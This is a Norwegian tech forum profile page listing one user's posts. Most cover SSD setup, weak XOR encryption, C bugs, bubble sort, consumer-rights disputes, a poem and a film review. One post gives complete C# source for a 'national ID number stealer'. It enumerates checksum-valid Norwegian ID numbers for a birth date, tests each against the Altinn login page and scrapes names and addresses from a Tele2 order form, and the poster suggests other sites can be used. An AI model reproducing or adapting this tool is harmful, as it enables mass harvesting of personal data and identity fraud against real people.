Gå til innhold

charlie di meola

Medlemmer
  • Innlegg

    337
  • Ble med

  • Besøkte siden sist

Innlegg skrevet av charlie di meola

  1. hadde samme problem tidligere i år da jeg skaffet ssd. byttet til ahci uten reinstall, og fulgte ssdguiden her på forumet vedrørende optimalisering. oppstarten har jeg ikke tatt tiden på, men den er i alle fall under 15sek.

     

    er et halvt år siden så jeg husker ikke helt hvordan det gjøres. informasjonen finnes dog her på forumet. har du kikket i lagringsmedier/sticky?

     

    her er AS SSD fra før og etter ahci:

    post-60783-1285340962,7545_thumb.png

    post-60783-1285341008,5708_thumb.png

  2. i din algoritme har du

    out = plaintext ^ key ^ key[length - i - 1] ^ length;

     

    men tenk deg at

    altkey = key ^ key[length - i - 1] ^ length;

     

    og

    out = plaintext ^ altkey;

     

    da vil du bare trenge å finne altkey ved hjelp av metoder som brukes til å cracke "vanlig" xor'ing (out = plaintext ^ key).

    den originale keyen som du bruker er vanskeligere å finne, men den trenger man ikke for å dekryptere.

    og da ser du kanskje hvorfor algoritmen ikke gir mer sikkerhet enn rett frem xor'ing (det blir akkurat det samme).

  3. En snekker og nok en snekker

    satt på stillaset og spaset.

    Da er det en planke knekker og

    vipper dem vekk fra stillaset.

    Og A hugg seg fast med sin hammer,

    men B la beslag på hans legge,

    og en vill og evindelig jammer

    steg opp mot det blå fra dem begge.

    Og hvinet ble verre og verre,

    og folk fulgte med dem i jammer’n.

    Slipp, hylte hammerens herre,

    slipp, ellers slår jeg med hammer’n.

    De hang der, gud bedre, og spaset

    for mengdens beundrende blikke.

    Men så ble det stilt på stillaset,

    og plutselig hang de der ikke.

    Men om det var ham som hang fast,

    som skal legges til last,

    eller ham som sa slipp, som slapp,

    det blir hipp som happ.

    Og dette vil ergre de store,

    men enkelte små vil det more.

    ;)

  4. for at algoritmen din skal være sikker, så må nøkkelen være like lang som plaintext.

     

    post gjerne en fil med ciphertext (hvor det er brukt repeterende key) så er det sikkert noen her som kan dekryptere.

     

    edit: altså, det at du også XOR'er keysize og passordet begge veier gjør ingenting for sikkerheten kontra bare å XOR'e passordet forfra, du må fortsatt ha like lang key som det du skal kryptere for at det skal være sikkert

  5. char* buf2;

    sprintf(buf2,"javaw -jar %s/VikingCopy/VikingCopy.jar",buf);

     

    ^^ ikke så rart at det kræsjer da ;)

     

    prøv char buf2[NOK_PLASS]; evt. malloc, for nå prøver sprintf å skrive til en random adresse.

     

    men det opprinnelige problemet har nok noe med env variabler å gjøre

    system() kjører "javaw -classpath x:\program files\ ..."

    mens de andre kallene vil kjøre bokstavelig talt "javaw -classpath %ProgramFiles% ..."

    derfor må du bruke GetEnvVar først

  6. void bubbleSort(int *array, int length)
    {
     int i, j, temp;
     int test; /*use this only if unsure whether the list is already sorted or not*/
     for(i = length - 1; i > 0; i--)
     {
    test=0;
    for(j = 0; j < i; j++)
    {
      if(array[j] > array[j+1]) /* compare neighboring elements */
      {
    	temp = array[j];	/* swap array[j] and array[j+1] */
    	array[j] = array[j+1];
    	array[j+1] = temp;
    	test=1;
      }
    } /*end for j*/
    if(test==0) break; /*will exit if the list is sorted!*/
     } /*end for i*/
    
    }/*end bubbleSort*/

    kan hende jeg misforstår hva du er ute etter da :D

     

    temp = array[j];

    array[j] = array[j+1];

    array[j+1] = temp;

     

    et kodeeksempel hvor verdien i to variabler blir byttet vha en tredje variabel, yes?

     

    se her for en forklaring på hva bubblesort er for noe.

  7. Sitat fra angreskjema

     

    Melding om bruk av angreretten må gis til selgeren innen fristen, og kan gis på hvilken som helst måte. Du kan bruke dette skjemaet som skal være utfylt av selgeren som spesifisert nedenfor. Fristen anses som overholdt dersom meldingen er avsendt innen fristens utløp, og du bør sørge for at dette kan dokumenteres

     

    Du angrer mao "by the book", og DI er på bærtur.

  8. Bærbare PC-er skal egentlig bare vare i 1 år så her er du heldig at det er netshop du har med å gjøre, Du blir tross alt 400,- rikere enn det du har krav på :thumbup: netshop #1 :D </carpenter>

     

    Fra spøk til alvor, hvis netshop ikke vil omlevere eller reparere så gjenstår det bare en ting, heving av kjøpet. Netshop kan kreve bruksfradrag, og du kan kreve renter på kjøpesummen fra kjøpsdato.

     

    Noe de derimot ikke vil komme så langt med, er å hevde 3 års levetid for en bærbar pc. Levetiden er simpelthen ikke mindre enn fem år (i mine øyne), og det tror jeg rettsinstansene vil være enig i. Regnestykket blir da seende noenlunde slik ut (med forbehold om regnefeil, og feil rente - usikker på hva den skal være men brukte 10%):

     

    (killeng sin post er brukt som mal)

     

    14721 / 5 / 12 = 245,35 kr pr måned. Ganger 35 måneder = 8587,25 kroner.

     

    Renter for trettifem måneder = 14721 * 0,1 * 35/12 = 4293,625 kroner.

     

    Og da blir fradraget: 8587,25 - 4293,625 = 4293,625 kroner.

     

    Hehe, er noen tall som går igjen, får håpe jeg ikke sitter og surrer her midt på natten :whistle:

  9. Klikk for å se/fjerne innholdet nedenfor
    using System;

    using System.Collections.Generic;

    using System.Text;

    using System.IO;

    using System.Net;

    using System.Text.RegularExpressions;

     

    namespace Fødselsnummer_stjeler

    {

        class Program

        {

            private static bool sjekkFødselsnummer(String fødselsnummer)

            {

                byte[] data = Encoding.ASCII.GetBytes("__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwtODE3MTQ0OTU2O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDU%2BOz47bDx0PHA8cDxsPFZJRVdTVEFURV9PUkRFUlBJTlNURVA7PjtsPG88dD47Pj47PjtsPGk8MT47aTwzPjtpPDU%2BO2k8Nz47aTw5PjtpPDExPjtpPDEzPjtpPDIxPjtpPDI2PjtpPDI3PjtpPDI5PjtpPDMxPjtpPDM1PjtpPDM3Pjs%2BO2w8dDxwPGw8VGV4dDs%2BO2w8VmVsa29tbWVuIHRpbCBBbHRpbm4hOz4%2BOzs%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VGV4dDs%2BO2w8TG9nZyBpbm4gbWVkIHBhc3NvcmQ6Oz4%2BOzs%2BO3Q8cDxwPGw8VGV4dDs%2BO2w8U3RlZyAxIGF2IDI7Pj47Pjs7Pjt0PHA8bDxpbm5lcmh0bWw7PjtsPEJydWsgZGl0dCBzZWx2dmFsZ3RlIHBhc3NvcmQgb2cga2xpa2sgcMOlIFw8aVw%2BRm9ydHNldHRcPC9pXD4ta25hcHBlbiBmb3Igw6UgYmVrcmVmdGUgZGluIGlkZW50aXRldCBtZWQgZW5nYW5nc2tvZGUuOz4%2BOzs%2BO3Q8cDxsPHN0eWxlOz47bDxIRUlHSFQ6NjBweFw7ZGlzcGxheTpub25lXDs7Pj47Oz47dDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOzs%2BO3Q8cDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs%2BOzs%2BO3Q8cDxwPGw8VGV4dDs%2BO2w8Rm9ydHNldHQgXD5cPjs%2BPjs%2BOzs%2BO3Q8O2w8aTwzPjtpPDU%2BO2k8Nz47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvQ19ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvRF9ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47Pj47dDxwPHA8bDxOYXZpZ2F0ZVVybDs%2BO2w8Lzs%2BPjtwPGw8b25jbGljazs%2BO2w8d2luZG93Lm9wZW4oJ0FsdGlubkhlbHAuYXNweCNpbm5sb2dnaW5nJywgJ19ibGFuaycsICd3aWR0aD04MDAsIGhlaWdodD02MDAsIHJlc2l6YWJsZT15ZXMsIHRvb2xiYXI9bm8sIHNjcm9sbGJhcnM9eWVzJylcOyByZXR1cm4gZmFsc2VcOzs%2BPj47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47Pj47Pj47Pj47bDxQaW5jb2RlU01TMTpSYWRpb0J1dHRvbkxpc3RMb2dpbkFsdGVybmF0aXZlc18wO1BpbmNvZGVTTVMxOlJhZGlvQnV0dG9uTGlzdExvZ2luQWx0ZXJuYXRpdmVzXzE7Pj4UnOEQeEcEjcIhShGzLKAd8PH%2Fsg%3D%3D&PincodeSMS1%3ARadioButtonListLoginAlternatives=1&PincodeSMS1%3AFnrTextBox=" + fødselsnummer + "&PincodeSMS1%3APasswordTextBox=&iebug=&PincodeSMS1%3AOrderSMSPinButton=Fortsett+%3E%3E");

               

                Regex fødselsnummerReg = new Regex("<div id=\"PincodeSMS1_ErrorString\" class=\"userError\">Fødselsnummeret er feil.</div>");

               

                HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.altinn.no/ega/Login/Login2.aspx");

                request.Method = "POST";

                request.ContentType = "application/x-www-form-urlencoded";

                request.ContentLength = data.Length;

                request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";

                request.Referer = "https://www.altinn.no/ega/Login/Login2.aspx";

     

                CookieContainer myContainer = new CookieContainer();

                request.CookieContainer = myContainer;

               

                Stream postData = request.GetRequestStream();

                postData.Write(data, 0, data.Length);

                postData.Close();

     

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

     

                Stream Answer = response.GetResponseStream();

                StreamReader _Answer = new StreamReader(Answer);

     

                String htmlBuffer = _Answer.ReadToEnd();

     

                Match fødselsnummerMatch = fødselsnummerReg.Match(htmlBuffer);

     

                if (fødselsnummerMatch.Success)

                    return false;

                else

                    return true;

     

            }

     

            private static String sjekkPersonalia(string fødselsnummer, string tele2)

            {

                byte[] data = Encoding.ASCII.GetBytes("trinn=2&fratrinn=2" + tele2 + "&personnummer=" + fødselsnummer);

     

                HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=3" +tele2);

                request.Method = "POST";

                request.ContentType = "application/x-www-form-urlencoded";

                request.ContentLength = data.Length;

                request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";

                request.Referer = "https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=2" +tele2;

     

                CookieContainer myContainer = new CookieContainer();

                request.CookieContainer = myContainer;

     

                Stream postData = request.GetRequestStream();

                postData.Write(data, 0, data.Length);

                postData.Close();

     

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

     

                Stream Answer = response.GetResponseStream();

                StreamReader _Answer = new StreamReader(Answer);

     

                String htmlBuffer = _Answer.ReadToEnd();

     

                Regex regexForNavn = new Regex("<dd><input type=\"text\" name=\"fornavn\" id=\"mobil-bestilling-fornavn\" value=\"(?<fnavn>.+)\" disabled=\"disabled\" /></dd>");

                Regex regexEtterNavn = new Regex("<dd><input type=\"text\" name=\"etternavn\" id=\"mobil-bestilling-etternavn\" value=\"(?<enavn>.+)\" disabled=\"disabled\" /></dd>");

                Regex regexAdresse = new Regex("<dd><input type=\"text\" name=\"adresse\" id=\"mobil-bestilling-adresse\" value=\"(?<adresse>.+)\" disabled=\"disabled\" /></dd>");

                Regex regexPostnummer = new Regex("<dd><input type=\"text\" name=\"postnummer\" id=\"mobil-bestilling-postnummer\" value=\"(?<postnummer>.+)\" disabled=\"disabled\" /></dd>");

     

                Match matchForNavn = regexForNavn.Match(htmlBuffer);

                Match matchEtterNavn = regexEtterNavn.Match(htmlBuffer);

                Match matchAdresse = regexAdresse.Match(htmlBuffer);

                Match matchPostnummer = regexPostnummer.Match(htmlBuffer);

     

                String fornavn = matchForNavn.Groups["fnavn"].Value;

                String etternavn = matchEtterNavn.Groups["enavn"].Value;

                String adresse = matchAdresse.Groups["adresse"].Value;

                String postnummer = matchPostnummer.Groups["postnummer"].Value;

     

                String allinfo = String.Format("{0} {1} - {2} {3}", fornavn, etternavn, adresse, postnummer);

     

                return allinfo;

            }

     

            static int Main(string[] args)

            {

                string tele2 = "";

     

                try

                {

                    FileStream filTele2 = new FileStream("tele2.txt", FileMode.Open, FileAccess.Read);

     

                    StreamReader streamTele2 = new StreamReader(filTele2);

     

                    tele2 = streamTele2.ReadToEnd();

     

                    streamTele2.Close();

                    filTele2.Close();

                }

                catch (Exception e)

                {

                    Console.WriteLine("Advarsel: " + e.Message);

                    return 0;

                }

     

                Console.WriteLine("Vennligst skriv fødselsdatoen (ddmmåå): ");

                String fødselsdatoBuffer = Console.ReadLine();

                Console.WriteLine("Vil du hente ned tilhørende personalia? (0 = Nei, 1 = Ja): ");

                String personaliaSjekk = Console.ReadLine();

     

                StreamWriter sw = new StreamWriter(new FileStream(fødselsdatoBuffer + ".txt", FileMode.Create, FileAccess.Write));

               

                sw.WriteLine("####START OF FILE####");

     

                int d1 = Convert.ToInt32(fødselsdatoBuffer.Substring(0, 1));

                int d2 = Convert.ToInt32(fødselsdatoBuffer.Substring(1, 1));

                int m1 = Convert.ToInt32(fødselsdatoBuffer.Substring(2, 1));

                int m2 = Convert.ToInt32(fødselsdatoBuffer.Substring(3, 1));

                int å1 = Convert.ToInt32(fødselsdatoBuffer.Substring(4, 1));

                int å2 = Convert.ToInt32(fødselsdatoBuffer.Substring(5, 1));

     

                for (int i1 = 0; i1 < 10; i1++)

                    for (int i2 = 0; i2 < 10; i2++)

                        for (int i3 = 0; i3 < 10; i3++)

                        {

                            if ((i3 % 2) == 1 || (i3 % 1) == 0)

                            {

                                int k1 = 11 - ((3 * d1 + 7 * d2 + 6 * m1 + 1 * m2 + 8 * å1 + 9 * å2 + 4 * i1 + 5 * i2 + 2 * i3) % 11);

                                if (k1 == 11)

                                    k1 = 0;

     

                                int k2 = 11 - ((5 * d1 + 4 * d2 + 3 * m1 + 2 * m2 + 7 * å1 + 6 * å2 + 5 * i1 + 4 * i2 + 3 * i3 + 2 * k1) % 11);

                                if (k2 == 11)

                                    k2 = 0;

     

                                if (k1 != 10 && k2 != 10)

                                {

                                    String fødselsnummer = String.Format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}", d1, d2, m1, m2, å1, å2, i1, i2, i3, k1, k2);

     

                                    if (sjekkFødselsnummer(fødselsnummer) == true)

                                    {

                                        if (personaliaSjekk == "1")

                                        {

                                            String personalia = sjekkPersonalia(fødselsnummer, tele2);

                                            if (personalia.Length > 5)

                                            {

                                                Console.WriteLine(fødselsnummer + " - " + personalia);

                                                sw.WriteLine(fødselsnummer + " - " + personalia);

                                            }

                                            else

                                            {

                                                Console.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");

                                                sw.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");

                                            }

                                        }

                                        else

                                        {

                                            Console.WriteLine(fødselsnummer);

                                            sw.WriteLine(fødselsnummer);

                                        }

                                    }

                                    else

                                    {

                                        Console.WriteLine(fødselsnummer + " - IKKE I BRUK!!");

                                        sw.WriteLine(fødselsnummer + " - IKKE I BRUK!!");

                                    }

     

     

                                }

                            }

                        }

                sw.WriteLine("####END OF FILE####");

                sw.Close();

                return 0;

            }

        }

    }

    her er det omtalte programmet. det fungerer ikke lenger mot tele2 (som nå bruker fornavn og etternavn til validering + personnummer) men det er andre webgrensesnitt som kan brukes.

     

    (får en feilmelding når jeg bruker CODE tag'en, derfor quote.)

    edit: oops. puttet det inn i en spoiler slik at bredden ikke blir helt brutalisert

  10. ...vi har nylig kjørt to runder med Panasonic 42PV70 fra dem der de har oppført seg eksemplarisk (29 TVer totalt).

     

    Vi overfører heller ikke beløpet videre til selgeren før TVene er levert, det er fast praksis til vi har etablert en solid porsjon erfaring med MasterIT!

     

    Mao sa han at beløpet kunne bli overført på forhånd gitt tilstrekkelig tillit til "MasterIT", og det hadde han tydeligvis fått. At han her utviste dårlig skjønn betyr ikke at han står juridisk ansvarlig, iallfall ikke for hele beløpet. Et forlik eller dom vil sannsynligvis ikke gi kjøperne mer enn det tilbudet de allerede har fått AVforum/powerbuy.

    9177014[/snapback]

    hvis vi ser litt nærmere, så var det et svar til han som i innlegg #16 uttrykte sin skepsis overfor masterit
    dette er en fantastisk tilbud,men når jeg begyndte og lese litt i forskjellige forumer om alle de dårlige erfaringene folk har med dette firmaet er det synd.noen her som har noen erfainger fra dette firmaet?
    i tillegg har lygren blitt advart om udugeligheten til masterit på et annet forum (finner ikke linken nå i farten) av en som hadde en lignende erfaring.

     

    jeg kan ikke skjønne annet enn at det ut ifra kontekst er underforstått at pengene i det aktuelle powerbuyet ikke skulle overføres før tvene var levert. men at de ikke utelukket andre fremgangsmåter i fremtidige samkjøp.

     

    edit: leif var her

  11. så lenge det er midler å ta av i avforum/avshop/pcperformance/familien lygren, synes jeg ikke de ~40 kjøperne skal ta til takke med noen form for avkorting. her har (imho) lygren opptrådt så til de grader uprofft. tilsidesatt sikkerheten til kjøperne (forutsettningen om at betaling ikke vil skje før tvene er på plass) uten å spørre/informere dem om det. sånn går det når en blendes av fortjeneste :/

     

    han får vente med regulering til ungene i et par år, selge huset og avkorte ferien i syden før han tilbyr folk 50øre pr krone tilbake. synes ikke han lygren gjør annet enn å skryte av seg selv samt prøve å begrense sitt eget ansvar, i den tråden på avforum.

     

    edit: sklivejeif

  12. Konklusjon

    ”Perfect Stranger” er først og fremst enda en spiker i kista til Halle Berrys karriere. Utover det er det mest en gjespefremkallende film som kynisk og kalkulerende prøver å få tilskuerens interesse ved bruk av mystiske ingredienser som aldri blandes godt nok inn i handlingen. Med et istykkerklippet plot forviller filmen seg stadig lengre ut i det usannsynlige og det må advares om at enkelte plotvrier kan tvinge nærmest hvem som helst til å dynke øynene i helsefarlige mengder belladonna.

    rating-2.jpg

     

    hvorfor i all verden anbefaler dere dette?

×
×
  • Opprett ny...